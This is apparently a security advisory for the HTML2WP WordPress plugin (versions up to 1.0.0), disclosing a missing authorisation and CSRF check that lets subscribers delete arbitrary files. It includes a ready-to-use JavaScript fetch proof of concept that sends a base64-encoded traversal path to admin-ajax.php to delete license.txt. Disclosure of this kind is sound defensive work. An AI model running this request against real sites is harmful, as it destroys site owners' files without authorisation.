HTML2WP <= 1.0.0 – Subscriber+ Arbitrary File Deletion

Description

The plugin does not have authorisation and CSRF checks in an AJAX action, available to any authenticated users such as subscriber, which could allow them to delete arbitrary file

Proof of Concept

To delete the license.txt at the root of the blog:

await fetch("https://example.com/wp-admin/admin-ajax.php?action=html_actions", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "de,en;q=0.7,en-US;q=0.3",
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1"
    },
    "body": "type=remove_html&path=Li4vbGljZW5zZS50eHQ=",
    "method": "POST",
    "mode": "cors"
});